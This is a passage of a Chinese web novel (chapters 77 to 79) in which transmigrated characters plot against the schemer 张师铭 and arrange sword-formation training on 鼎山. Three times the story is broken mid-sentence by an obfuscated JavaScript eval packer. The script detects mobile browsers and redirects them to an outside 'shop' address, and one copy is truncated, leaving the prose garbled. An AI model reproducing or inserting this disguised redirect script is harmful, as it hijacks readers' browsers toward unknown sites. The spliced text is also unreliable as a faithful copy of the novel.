他们都说齐云鲤是唯一的希望,但当时她长睡不醒,实在看不出希望在哪里。 以至于石月观音都认为那是个虚无缥缈的幻想。 齐云鲤苏醒后又丧失记忆,石月观音感觉自己就是个白痴,别人说得再多也一事无成。 但眼下在鼎山禁地现身,还看见救命恩人,真是惊喜连连。 石月观音怎么也想不到这种事,被卫池救来救去都快养成习惯,没想到还有机会回报。 虽然不能点明自己的身份,但热情还是不能减,因此她马上打招呼。 卫池见她热情洋溢,不知道是干什么,但那人是齐云鲤叫过来的,他也只好礼貌回应。 石月观音开心得不行,毕竟之前一直被救,所以感觉这次也能被救。 “她叫石月观音,出自天地造化,你们可以彼此核对一下情况,以免错失良机。”齐云鲤不指望她直接进入正题,于是简单介绍。 石月观音说:“我那边有一棵白玉兰,能从中看出天地生机。” 飞泉院也有一棵白玉兰,似乎跟那棵白玉兰遥相呼应。 卫池打量一下那两人的神色,才开始说:“这边已经开始混杂不同轮回的雪,后果比较严重。” 这话有点惊世骇俗,常人听了基本认为是胡说八道。 虽然世人皆知轮回,但两个轮回混杂在一起,实在过于离谱。 ——毕竟又不是书本前后页。 可谁也不知道,他们就在一本书里。 眼下作者和读者都进入书中,与他们同在。 “玉兰花还在开,就说明生机尚在。”石月观音遵照指示说。 这自然是齐云鲤的意思,在破庙里她说出元真的事,然后说窗外那棵白玉兰就是元真的象征。 事已至此,石月观音当然要突出玉兰花的重要。 卫池只是问:“生机何在?” “所谓危机就是有危也有机,如今危险在门口,那么机会也在门外。”石月观音做出一个开门动作,然后将右边的打出去,把左边的迎进来。 “机会何在?”卫池没看出左边有什么。 石月观音左右拳相击:“那边看似一人,其实是集众人之力,这边自然也要众人出力。” 齐云鲤为了说通这件事,滔滔不绝举例说明,后来她都开始怀疑那些例子都出自哪里。不过现在懂了,也就不用再纠结。 “这次的龙骨论战能否顺利进行?”卫池还是问。 石月观音说:“危险最大时,机会也最大。” “张师铭想夺取龙息,鼎山弟子以元气布阵来抵挡,两边僵持不下,估计会在龙骨论战时一较高下。”卫池说出现有情况。 石月观音顺势说:“这就是众人之力的对抗,得做到有始有终,不然就前功尽弃。” 卫池想了一下才说:“禁地龙息乱象可以用。” “要怎么用?”齐云鲤很疑惑。 卫池说:“让他以为有龙息能够利用,其实是用龙息乱象打乱他布局。” 龙息乱象之后能打乱张师铭布局,也就是说一直在打乱卫池布局。 如果有用,真不知道他如何坚持至今;如果没用,也不知道他说出来干什么。 齐云鲤不免有些头疼,只能问:“那你是怎么回事?” “我周围始终都在乱,早就已经习惯。”卫池毫不在意。 不过这件事能打乱张师铭布局,就意味相当严重。 相当严重的事还能习以为常,真不知道他都经历什么。 齐云鲤发现卫池经验丰富到超出想象,本来是骗他的东西或许能落到实处。 那两个人继续商量龙息乱象的事,齐云鲤则看起地上的雪。 之前以为是自己骗术高超,所以卫池相信也许还有未来的雪。 ——如今发现或许真的有。 过去和现在都已经发生,那么将来的路可能早就开始铺。 曾经发现鼎山禁地能打开通往现实世界的通道,那么现在能打开通往未来的路也合情合理。 相传无根海的真龙可以连接古今,或许真有可能。 鼎山禁地龙息鼎盛,能连接过去、现在和未来也顺理成章。 齐云鲤想起禁地阵法,彼时的元真已经没有余力铺设,那么留在此地的阵法从何而来? 她走到阵法出现的位置蹲下来摸索,白雪下面是泥土,泥土上有一些弯弯曲曲的痕迹。很轻很细,明显是随手划出来的。 随手划出来的痕迹能遗留至今,说明不止痕迹那么简单。 齐云鲤看了很久,越看越眼熟,那些歪歪扭扭的痕迹其实在写一个东西,似乎是曾经有人蹲在这里无意识划出来的。 那是“3.1415926535897932384626”,是圆周率。 元真曾经蹲在这里琢磨什么,无意间划出这段数字。 或许数字跟幽冥大帝相呼应,最后出现那个阵法。 即使元真没有下意识布阵,不过幽冥大帝感觉这就是她的想法,因此在禁地铺设阵法。 禁地通往九炼洞窟,九炼洞窟里有真龙,常人难以在此施法布阵。 但元真以幽冥大帝的名义留下阵法。 之前打断偷袭,出声提醒的那个蒙眼女子估计就是幽冥大帝。 她虽然不是元真,却有不少相似之处。 齐云鲤一时无以言表,元真是因为她才看的《长夜道枯》。穿书以后她们一直试图找出真相,结果最后元真因真相而死。 那种丧心病狂的真相还是要斩草除根。 正在讨论的石月观音猛然一惊,她战战兢兢看向不远处那个人。 曾经那些人说如果告知齐云鲤真相,就可能性命不保。 现在她什么都没说,结果也出现性命之忧。 齐云鲤什么也没做,却又仿佛将所有的事都做了。 她发现是自己透漏故事构想,才被张师铭利用,最终害死元真。 以前她们还在鼎山吵了一架,但事实证明元真就是对的。 即使她已经掌管生死,却还是给自己留下一条生路。 至于元真为什么会变成幽冥大帝,估计是因为齐云鲤惨遭毒手。 元真是极其敏锐的人,她能察觉很多东西。 但她察觉之后没有为自己谋利,而是帮助他人。她说关键在人不在漏洞,其实也是在帮助天下苍生。 毕竟作者的祸端,只有穿书者才能解决。 “深呼吸,你要冷静不要激动。事到如今,解决问题才有用,”石月观音赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295630|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧劝说,“冲动是魔鬼,一定要理清思路。” 好不容易看到希望,但是齐云鲤一生气可能会全都毁了。 有大用其实也有大害啊。 石月观音感觉自己说了也没用,只能让卫池赶紧过去转移注意力。 卫池虽然不清楚齐云鲤的情况,不过他也有话说。 毕竟关系到生死问题。 “仙子林里还有人插手。”他只是简单一说。 齐云鲤瞬间就被转移注意力,好歹她在那里惨遭毒手。 “有人在那里布阵夺取气息,但凡有人在里面被吓,就会被抢走相应事物,”卫池重点强调,“平民百姓只是生机,修道人士则有功法,人炉就是人炉之火。” “你被抢走的也许更多。”这句话的重音在更多上,似乎齐云鲤的宝贝让人倾泻一空。 她有什么宝贝自然跟眼下脱不开关系。 禁地和仙子林都有同一人出手,即使结果不同,但初衷肯定一致。 那个人毁天灭地,将所有都毁于一旦,只为保全自己。 生气也没用,毕竟问题还没解决。 这边气得一团糟,那个人只会愈发嚣张。 气归气,关键还是要解决后患。 后患没解决,那么之前的人就白死。 齐云鲤自己没什么好担心的,主要就是担心元真的事。 她本人烟消云散,但留下的幽冥大帝还在发挥作用,帮了很多平民百姓,也帮了齐云鲤。幽冥十二泉已脱胎换骨,如果没有保住这方天地,那就功亏一篑。 生气半天又被其他事情转移注意力,齐云鲤这才冷静下来。 毕竟生气除了浪费时间,没有任何用。 她想起之前看到卫池用人炉之火挡住天雷,如果可行或许还能挡住致命一击。 一旦跟张师铭在鼎山打起来,后果不堪设想。 “在鼎山他能抢走人炉之火吗?”齐云鲤问。 卫池摇摇头,虽然没有事实依据,但是他有把握。 不能这样却能抢走龙息,或许人炉之火才是天地间最后一口气。 齐云鲤感觉人炉远没有想象中的简单。 不过在场三人就没有简单的。 “曾经的天雷或许会因为时空连接重新出现,到时候被雷劈的可能就是你。”齐云鲤转头说出一个猜测。 这是没有任何依据的东西,但后果相当严重。 石月观音虽然来自很久之后,但前人虚弱憔悴、奄奄一息的模样她都见过。 这么说起来就是她也可能有那种遭遇。 为了避免这种惨痛后果,她必须全力以赴。 因此石月观音就开始根据汇总信息,说出种种推测。 虽然没有货真价实,但那都是读者根据线索推演摸索出来的。以前觉得空口无凭,但现在作者出来祸害苍生,那就很有用。 坑了小说还来危害苍生,简直天理难容。 石月观音越说越气,不过思路越来越清晰。 毕竟说不清楚,那就都是白说。 反正就说这是天地造化中出来的景象。 小说男主什么稀奇古怪的都见过,也就没必要再怀疑。 卫池跟石月观音商量后续安排,齐云鲤看着禁地边缘就想起下方的白鹭坪。 青滔的剑阵既然有用,那就绝不能错过。 鼎山弟子这次还不能化龙,但是可以用剑阵打龙。 二对一的胜算好歹还是要大不少。 想到这里,齐云鲤就跑出禁地,冲向白鹭坪。 既然要在鼎山打架,那么鼎山青滔当然不能错过。 78. 战前准备 鼎山青滔在世间以能打出名,无论是没有功法的拳打脚踢,还是施法布阵后的功法较量,在他面前都只有一败涂地。 即使你功成名就,众人都敬仰膜拜,只要惹到青滔他就会将你打得没脸见人。 其他人出手大多为名为利,打斗只是一种手段。 手段不重要,目的才重要。 可是对青滔来说,打斗就是目的。 其他人都不只关心具体怎么打,即使再好勇斗狠的人也有其他目的。 但他只关注打斗,为什么会打,该怎么打,打完如何收场。 其他修道人士完全无法理解,再血气方刚的人也都很想赢。 而青滔对输赢毫不在意,虽然他基本没输过。 但是有输赢的考虑,下手就会有所调整,青滔完全不管那些。 因此他的剑阵也有这种特点,如果意图不吻合就无法使用。 这种神兵利器不用来对付张师铭,实在太过暴殄天物。 因此齐云鲤冲往白鹭坪,她就不信三年时间还没消停,青滔竟然能忍下去。 他在通往禁地的路上练剑三年,就是要挡住张师铭,结果化龙之人回来事情还没完。三年已过,那就该做个了断。 青滔在白鹭坪擦拭长剑,齐云鲤就跑过来说出这件事,意思是此时不打更待何时。 他手中刚好有剑,能打之人恰好到来,于是两人用遍地长剑打了好几个回合。 ——憋了很长的气这才消掉。 但是之前那个人说交给她就行,结果现在又来找他,也不清楚是怎么回事。 青滔练剑三年一个人也没打到,感觉接下来还是虚无缥缈。 不过齐云鲤不会错过这个机会,她说出开头:“你们挡住三年,张师铭没有得逞,所以他还会想方设法来获利。” 张师铭的到来就居心叵测,自然不达目的誓不罢休。 如今化龙之人恢复,他却没获得足够龙息,当然不会放过剩余机会。 “真龙恢复他还不离开?”青滔没想那么的多,只是有些奇怪。 齐云鲤叹了一口气:“掌门对他有救命之恩,他势必会再留一段时间。只要还没达到目的,鼎山的问题就始终都在。有问题就有他,二者一路同行。” “鼎山的问题是什么?”青滔问。 齐云鲤说得很简单:“除掉他。” 张师铭是祸害,在鼎山基本人尽皆知,但是谁也没办法。 “再呆几天能干什么?”青滔感觉隐患很大。 齐云鲤指出:“没多久就是龙骨论战,他绝对会出手。” 龙骨论战时,禁地龙息会四溢出来,遍布鼎山上下。 张师铭之前就对龙息求之不得,到时他就能成为风口上的猪。 一旦龙息到手,他就如有神助,上天入地无所不能。 青滔不善思考这种问题,毕竟只关心打架。 很多世人景仰的东西他都感觉莫名其妙,一下觉得这个人高深莫测,一下觉得那个地方出神入化,可他认为都不能打。 他实在想不通为什么会有那些匪夷所思的事。 因此青滔只能问:“你怎么看?” 在鼎山没有人敢随意走进白鹭坪,胆子再大也不会。毕竟白鹭坪有青滔,他可是无人能敌的剑法高手。 只要来到白鹭坪,必定有明确目的。 “首先,真正的青湖在九炼洞窟,鼎山禁地可以通往那里,”齐云鲤赶紧坦白,显得相当诚恳,“她准备出来打,不过现在还不是时候。你得帮鼎山撑过这段时间,时机成熟她才能出来打架。” 这是个很严肃的问题。 虽然事实清楚,不过之前没人点破,眼下说出青湖的事就是直接挑明。 青湖不可小觑,她要做的事自然意义非凡。 ——而她在准备打架。 “我还得保证她能打架?” 青滔没有计较齐云鲤的身份,只是计较谁能打架。 “现在打得好,才能保证之后还能打。”齐云鲤赶紧说明。 “我跟谁打?” “自然是张师铭。”齐云鲤肯定。 青滔指出:“三渺宗还来了一个人。” “那边由鼎山弟子对付。” 青滔很疑惑:“那你干什么?” 虽然平日寡言少语,但他并非笨嘴拙舌,只是没必要。 如今事情到来,青滔也能抓住重点。 鼎山弟子对付三渺宗,他对付张师铭,难道其他人都闲着? “我也要打。”齐云鲤解释。 青滔想不通:“跟谁打?” “也是张师铭。”齐云鲤低声一叹。 两个人打一个人,这就有点超出想象。 青滔继续问:“青湖跟谁打?” “还是张师铭……”齐云鲤说得都有些无奈。 青滔只能问:“她能最后一击?” “也许有点悬。” 说来说去好几个人打完也没能获胜,而且都还是最能打的。 一般人早就跪下磕头,毕竟毫无胜算。 不过青滔根本就不在乎输赢。 始终没赢就能一直打,之所以拔剑四顾心茫然,是因为一个能打的都没有。 目前看起来张师铭相当耐打。 之前那人盗取鼎山龙息,青滔一直没机会出手。如今知道还能在龙骨论战动手,那当然再好不过。 “鼎山弟子能打过三渺宗人吗?”青滔罕见地关心其他事。 齐云鲤说:“所以你最好传授一点诀窍,学得好说不定能化龙去打张师铭。” “还能打他?”青滔有点奇怪。 齐云鲤没有理会这个问题,只是说出重点:“张师铭完全不会用剑。” 青滔从始至终都在用剑,恰好与张师铭截然相反,不过即使这样也没有胜算。 他不明白鼎山弟子还去打什么,前面都有好几个人,都是徒劳。 “难道他们还能赢?”青滔很不可思议。 齐云鲤只好说:“只要次数多,总能打赢一次。” 虽然这话很窝囊,但青滔完全不在乎,毕竟胜败乃兵家常事。 他只是承认:“具体怎么安排,我想不出来。” “你只要记住张师铭不会剑法,鼎山弟子还要学习剑阵的事就行,”齐云鲤转身就走,还在说,“剑阵的事我跟人商量一下再确定细节。” 青滔完全不在意她不是青湖,也不在意是否打赢,那么自己要做的就是保证他可以痛快打架。剑阵的事有点复杂,那就再找人商量。 “你一个人能想出来?”青滔的声音从后方传来。 齐云鲤回答:“这次是多人合作,所以要采纳各方意见。” 她说着话,完全没意识到即将发生什么,然后就被打进山林。 青滔虽然只用剑法,但每一个动作都包含功法,并非施法变出什么来攻击对手,只是要稳住局面。确保被打之人即使想施法布阵,也难以成功。 这跟一开始的比剑截然不同,都是货真价实的打。 齐云鲤老老实实被打一顿,不是因为宽宏大量,只是因为无能为力。 青滔打遍天下无敌手之后就一直闲在鼎山,好不容易出来一个可疑人士张师铭,结果还不能主动出手。 虽然他在禁地外挡了三年,但那全都是徒劳无功的练剑。 三年来张师铭在禁地进进出出,每次都恪守本分,从不挑事。 因此青滔始终没找到机会动手。 对方不出手,他就没机会出剑。 憋到现在忍无可忍,只能找鼎山最耐打的青湖出气。 青湖此人功法高超、皮糙肉厚,因此能把其他人打死的招式都只会打伤她。 以前青湖不想被打,所以千方百计避开青滔,自从魂魄换人后,自然而然就接受挨打的命运。 ——实在是再好不过的出气筒。 齐云鲤结结实实被打了一顿,虽然有拔剑抵抗,但是对青滔来只是隔靴搔痒。 不过即使打不过,也不能单纯挨打,因此她想方设法反击,但其实就是被打得再花样百出一些。 她在白鹭坪呆了一个时辰,绝大多数时间都在被打。 幸亏青滔同意教鼎山弟子剑阵,不然齐云鲤怎么也无法接受被打的事。 感觉自从卫池去白鹭坪学剑,青滔就打她打上瘾了。 齐云鲤也没办法,只能在离开白鹭坪后跑去飞泉院。 飞泉院里玉兰花正绽放,罗白音坐在屋子里看书。 ——这静悄悄的时刻被打破。 “在我万般劝说下,青滔总算同意传授鼎山弟子剑阵诀窍。”齐云鲤大力加工后才说出这件事。 这件事相当稀奇,前所未有。 但罗白音并不惊喜:“青滔师伯基本不会听人说话。” “我是通过被打来说服他的。”齐云鲤无奈说出事实。 青滔作为世间难得一见的用剑高手,寻常言语自然无法将他说服。 只有比剑打斗才能获得他的青睐。 说得再多不如过去打几个回合,只要能撑到最后,他就会听你的。 鼎山弟子自然没这个本事,所以齐云鲤先替他们挨打一遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304011|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被打之后就确定剑阵教学,虽然青滔杀气重,不过不能拿鼎山弟子出气。所以再怎么危险,鼎山弟子也不会被打。 这是一件相当难得的事,毕竟青滔经验丰富,若是能传授他人,将会成为难以匹敌的力量。 可是没人打得过他,自然不会有人学到一星半点。 如今虽然还是没人能打过,但是已经有人专门挨打。既然有人被打,那么鼎山弟子就可以放心过去学习。 毕竟打人挺费力,精力再旺盛,一段时间也只能打一个人。 齐云鲤解决这个大问题,罗白音颇为高兴,想不到挨打还能发挥作用。 鼎山弟子化龙是件大事,不过之前只有其他长老进行相关教学,他们学得再好也难以把握其中关键。直到后来合力布阵对抗张师铭,鼎山弟子这才有所长进。 罗白音从中发现,鼎山弟子进步的关键在于对抗,化龙之势其实也是从对抗中来。不过之前能跟张师铭对抗,现在又没有明确目标。 既然青滔师伯要传授他们剑阵诀窍,那就势必会将众人打击得不行,从这种对抗中鼎山弟子才能学到新东西。 不过教学方式估计青滔师伯完全不懂,毕竟对他来说只有打架,鼎山弟子如果只是被打,那就什么也学不会。 罗白音提出这个问题,齐云鲤就说她去跟卫池商量一下,然后再确定教学方式。 卫池是唯一跟青滔学剑的人,意见相当宝贵,罗白音自然不会反对。 青滔不会随意教导他人剑法,之前全靠那个青湖被打。 现在她又被打,感觉鼎山弟子希望很大。 “你去商量吧,尽快得出结果。”罗白音最终确定。 获得同意的齐云鲤马上转身前往禁地,罗白音要求相当高,能得到她的许可那就是世间罕见。 此事宜早不宜迟,时间紧迫就没必要再犹豫,想不通就想不通,反正也不用答疑解惑。 鼎山禁地冰天雪地,不过卫池和石月观音站在红梅下并没有受到严寒威胁。 红梅是天一道人种的,那个时候禁地还没定形。 梅花绽放后周围冰雪再怎么刺骨,也伤不到通往九炼洞窟的那个山洞。既是鼎山禁地的暖意,也是九炼洞窟的生机。 虽然石月观音身份匪夷所思,不过本就稀奇古怪的卫池早已对此见怪不怪。 张师铭可以明目张胆夺取鼎山龙息,那就再也没什么好奇怪的。 他们两人都快把龙息乱象的事商量完,齐云鲤这才跑回禁地。 她没有炫耀自己说服青滔和罗白音,只是说:“青滔同意传授鼎山弟子剑阵诀窍,我们要想一下怎么教。” 青滔眼里只有剑法,除此以外一无所有。 因此要他想出怎么教学,那是绝不可能的。 石月观音基本不懂,只能说:“老师好好教,学生好好学?” 这话说了跟没说一样,齐云鲤便不予理会,只是盯着卫池。 毕竟那是唯一跟青滔学过剑法的人。 “可能要他先打人……”卫池谨慎说出前提。 齐云鲤就说:“我已经被打了。” “……你看起来没事啊?”石月观音相当惊讶。 “经验丰富,已经能顺其自然。” “被打经验丰富?”石月观音很不可思议。 齐云鲤反驳:“我只是没打赢,又不是单纯挨打。” “他的动手原因很简单,就是因为有杀意,关键在于跟他学习的人也得学会那种杀意。” 卫池说得轻巧,但石月观音眉头紧皱:“有杀意不是什么好事吧?” 作为普通穿书者,她的经历还是太少,一路上虽然有各种陷阱,但是有卫池和鼎山弟子前赴后继帮忙。 等彻底束手无策时,一切都已经结束。 因此石月观音并不认为杀意有用。 “杀意可以作为策略和手段,并非只是横冲直撞,”经验丰富的齐云鲤解释,“在面对绝境时,有杀意才有生机。就是你别怕,怕了就没有活路。” 卫池顺势说:“鼎山弟子对青滔师伯是畏惧的,剑阵教学或许能让他们克服恐惧,敢于直面对手。” “千里之堤都能溃于蚁穴,那就没什么做不到的。”齐云鲤总结。 石月观音有点担心:“感觉有点凶险……” 她没有身处险境过,直接一死了之,因此不明白其中关键。 于是齐云鲤说:“你也要学,不能光看热闹。” “难道我还得动手?”石月观音很疑惑。 “反正他绝不会放过你,自己看着办吧。” 79. 全新局面 穿书至今石月观音始终受到保护,一开始是卫池和鼎山弟子帮她,后来就是破庙和白玉兰,再之后就是齐云鲤。 即使匪夷所思,但头顶总有遮风挡雨的防护罩,石月观音没有切身体会。纵使其他穿书者口口声声说世道艰难、人心险恶,她也不懂。 因此眼下齐云鲤让她跟青滔学剑阵相关的东西,完全不可接受。 一切艰难险阻都有旁人接手,关她什么事? 既往穿书者都已经消失,但委屈和悔恨却留在石月观音身上,虽然出发点不一致,但心情都不尽相同。 石月观音觉得帮助小说男主已经是自己极限,但齐云鲤说作者不会放过她。 那个人断更小说还来祸害苍生,罪孽深重到难以言表,结果这还不放过她,真是挫骨扬灰都不为过。 石月观音气起来:“他怎么这样?!” “只有毁天灭地,他才能高于众生。”齐云鲤说得匪夷所思。 石月观音实在无法理解,只能找到一个最近的点:“他还想比我高?” 争强好胜也算人之常情,不过大显身手的地方太过离谱。 搞得好像小说断更也理所当然。 “只有把他打残,才能保证不会发生此事。”齐云鲤说出答案。 这个回答很现实也很直接,如果不让对方一败涂地,是没有用的。 只是对方是小说作者,要达到这个目标并不简单。 石月观音问:“你为什么这么了解?” “我已经跟他打过很多次。”齐云鲤说。 石月观音不由想起秘境一事,自己被龙息压迫得越来越虚弱,是齐云鲤在千钧一发之际带她逃出去,离开秘境就看到面具人。 然后齐云鲤冲过去打起来,还跟卫池彼此配合。 当时石月观音坐在地上哭,那么以后就得把作者打哭。 “下次我要把他打哭。”石月观音话语肯定。 见她接受这件事,齐云鲤才说:“到时候青滔不会直接指导你,你躲到旁边观看就行,能学多少全看你的本事。” 石月观音很疑惑:“我又没见过剑阵?” 剑阵对她来说太过虚无缥缈。 “先让他跟你说吧。”齐云鲤伸手示意卫池。 他接到任务也没有排斥,而是直接跟石月观音详细介绍起来。 齐云鲤见他面面俱到地说明,不由想起元真曾经的判断。 吵架时元真说虽然要靠人来解决问题,但是人也会利用问题。眼下鼎山问题很多,虽然由鼎山中人来弥补漏洞,可问题并没有得到解决。 以后若是有人发现问题,可能会趁机利用。 当时她这么描述,齐云鲤还觉得危言耸听。不过现在张师铭正在利用鼎山问题,问题捏在手里,谁也不敢动他。 不过元真说小说男主可以解决问题,就算情况再差,他也能答疑解惑。 眼下卫池跟石月观音讲解剑阵,正如元真所说。 虽然之前都是齐云鲤在帮忙,不过当前卫池也做了很多,她觉得还是值得,自己这边总算有个靠谱的人。 张师铭为非作歹的精力太过旺盛,感觉过多接触都会被拖下水。孙仲礼已经被拖下水,这是一件头疼的事。 她劝半天也没有效果,只希望卫池能发挥作用。 想到这里,齐云鲤见卫池跟石月观音说完,就过去跟他说:“张师铭太过棘手,既然你已经跟他有所接触,那么接下来最好让他觉得可以从你这边下手,以此来减轻鼎山弟子和孙仲礼的负担。” 卫池之前从未接受到什么任务,都是他精疲力尽忙来忙去。 这时齐云鲤这么说,既是对他的认可,也能减轻他的压力。 感觉忙碌近百个轮回,总算有点成效。 “他之前就看我不顺眼,接下来只会更不顺眼。”卫池保证。 齐云鲤见他干劲十足,只能说:“不要太过,适可而止就行。” 对吸引仇恨感兴趣,未必是件好事。 “为什么?”卫池不理解怎么还不能做得太过。 张师铭都嚣张得难以抵挡,自己稍微过头一点没什么大不了。 齐云鲤知道他会怎么想,所以顺势开口:“一旦过头他可能会出其不意,这就防不胜防。” 原本是想让张师铭吃瘪,可人被逼急也许就会大力反击。 他能反击成什么样,那就不可想象,毕竟已经造成一堆麻烦。 卫池明白这个道理,于是问:“就是让他无暇留意他人?” “是的,其他照常进行就足矣。”齐云鲤点头。 一切如常原本有点绝望,但现在照常进行就能铲除祸患。 卫池不免觉得充满希望,似乎持续至今的灾难总算快要结束。 三个人说了一会儿就各自回去休息,化龙之人恢复以来事情太多。接下来还有更多事,那么就先喘口气。 真龙飞天影响很大,各路修道人士都在关注这件事。 如今化龙之人回来,那他们就要赶紧打听虚实。 因此又有一大群修道人士来到鼎山,由于这次是鼎山弟子将他们迎进来,所以不再有矛盾。 修道人士都是各地代表,他们都想看一下化龙之人的状态。 化龙前所未有,恢复人形更是难以想象。 齐云鲤到半山腰大殿前亮相,又将孙峥湖准备的说辞背了一遍。 以防有人不信她就是化龙之人,张师铭和谭明诗都在那里解释。最后实在还有人不信,齐云鲤就把那几个人挨个打一遍,当然只是点到为止。 由于谭明诗出身三渺宗,所以众人只能信服,毕竟那是不少人的顶头上司。 虽然结果跟齐云鲤动手没有直接关系,不过没人闹事已经很好。 张师铭和谭明诗全程都在配合孙峥湖解释,只要有人提出问题,他们就能立即解答。虽然都是细枝末节的东西,但他们反应相当迅速。 孙峥湖在说大方向的事,他们就不插嘴。 那三个人配合得天衣无缝,齐云鲤都有点感慨。 不过她也没什么要说的,稍微解释两句就在旁边让人围观。 “你还能化龙吗?”有人相当好奇。 她正要开口,张师铭就过来说:“化龙之人负担很大,还是别强人所难。” 虽然负担很大,不过齐云鲤无所谓,只是眼下没必要说破这种事。 于是她点头叹气,似乎有点精疲力尽。 “那不就再也没人能化龙?”那个人又问。 张师铭也问:“化龙又不是舞龙,没必要隔三岔五就有吧?” “真龙还活着就行。”齐云鲤说。 这是事实,化形、化龙只是借助形态,不会干相关事情。 世间问题只有真龙才能解决,化龙之人无可奈何。 如今有人化龙,就说明真龙在世,那么世间问题就还没到束手无策的地步。 齐云鲤想起跟元真说的漏洞和人,世间问题就是漏洞,真龙能弥补漏洞,但人可以解决问题。 千溪镇没有龙息却有元气,所以依然能化龙。 世间没有真龙却有人,或许也能弥补漏洞。 孙峥湖没有说鼎山弟子化龙的事,齐云鲤也守口如瓶。 那种事一个字也不用说,就算张师铭看到也不会当回事。 鼎山中人化龙已经前所未有,鼎山弟子化龙可能亲眼看见也不会相信。 毕竟都资质平平,打不过在场任何一人。 ——但有时或许就是这类人最不可小觑。 齐云鲤见张师铭和谭明诗全程都在配合,仿佛一心一意帮鼎山。 不过背后藏着什么东西,那才是关键。 孙峥湖对化龙一事了解不多,大多数时候都是那两人在解释。看似在帮忙,其实是在积攒势力。 那个势力到时候会干出什么,根本想不到,反正没好事。 这些修道人士各个都不是泛泛之辈,此时被张师铭和三渺宗拉拢,绝对有威胁。不过鼎山也有威胁,就看到时候谁的威胁更大。 众人平平无奇地交流讨论,谭明诗则趁机说出一些难以察觉的东西。这次上鼎山的没有三渺宗人,但是有三渺宗势力。 谁能听懂她的意思,谁就能因此获利。 于是好几个人都积极跟她交流真龙情况。 虽然他们不懂背后的意思,但三渺宗人明白。 几人越说越多,后来都变成热烈讨论。 那边热火朝天,齐云鲤这边也走来一个人,那是煅剑城严岐。 鼎山跟煅剑城关系匪浅,化龙就是其中的关键。 这次鼎山化龙之人归来,煅剑城自然要派人过来探望。 原本还有人问东问西,不过煅剑城弟子出现就再也没有杂音。 齐云鲤觉得有人撑腰的感觉不错,于是就跟严岐详细说明情况。 严岐没有过多表态,只是说:“龙骨剑都已准备好。” 齐云鲤不懂什么意思,不过还是郑重谢过。 这次修道人士上山,最终以其乐融融结束。张师铭稳住局面,甚是高兴。 即使之后在路上碰见卫池,他也不觉得丧气。 虽然小说男主始终没有好脸色,但自己可以趁机说几句,管他信不信。 “如今修道人士也挑不出毛病,你可以稍微松口气。”张师铭态度温和。 那些人之前来鼎山闹过两次,这次也有点气势汹汹,全靠他滔滔不绝才稳住局面。 卫池对此毫不意外,如果三年以后那些人还能闹事,张师铭还不如死了。 不过他当然不能直接表露出来,只是礼貌谢过。 “但是化龙之人恢复以后,还有诸多事情,估计你又要累了。”张师铭又说。 卫池不知道他在盘算什么,只是说:“最辛苦的还是张真人,你要注意休息。” 这种冠冕堂皇的话张师铭听过千百次,但小说男主说出来就太过罕见。 他不免觉得自己功德无量,忙碌数百年总算获得肯定。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312394|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虽然自己看小说男主不顺眼,但他代表小说世界。 偷来的构思最终认可自己这个主人,无疑是最大夸奖。 张师铭罕见地没有被气,他能心平气和跟小说男主说几句话已经相当难得。 “大家都不容易,也不知道后面还等着什么东西,先喘口气吧。” “听说鼎山掌门救过你,不知当时什么情况?”卫池问得指向明确。 “我那时被困在一个地方,久久不能脱身,”张师铭摇头叹息,“太渊真人仗义出手,才将我救出。” ——他说了跟没说一样。 虽然相当可疑,不过鼎山掌门本就行踪诡秘,也不好怀疑什么。 毕竟当事人还在闭关修炼。 “如今你帮化龙之人归来,也算是报答他的救命之恩。”卫池肯定。 张师铭感慨:“太渊真人的恩情无以为报。” “其实师父对我也有救命之恩。”卫池透露一个信息。 张师铭瞬间反应过来,这就是能趁机利用的地方。 因此他马上说:“那位青湖化龙归来,情况还不太稳定。今天在半山腰大殿前她就有点累,也许只有观察一段时间才能发现还有什么异常。” 化龙之人出现异常没什么稀奇,毕竟化龙都前所未有。 ——就是能趁机插手的机会也很多。 虽然话里在说青湖,但针对的必然还是自己。卫池知道将注意力吸引过来,就转身告辞。 张师铭心情很好,自然不会觉得小说主角态度异常。 反正鼎山人人有异,也不多这一个。 半山腰大殿前的事情结束,齐云鲤便走向飞泉院。 虽然没有明确目的,但是感觉总该有事。 此时路上空无一人,与回忆里的遍地尸骸比起来好太多。齐云鲤感觉冬青是龙息化身,就应该跟她商量一下龙息的事。 因此她走到飞泉院旁边的小木屋里,室内没有过多摆设,毕竟冬青是龙息,分量已经足够。 在简单的家具摆设当中,齐云鲤发现角落里有个花瓶插着一些花枝。 冬青还在打理一盆月季,插花和盆栽都在绽放中。 齐云鲤想起禁地红梅和飞泉院白玉兰,联系到这两种花,就感觉不简单,毕竟都常开不败。 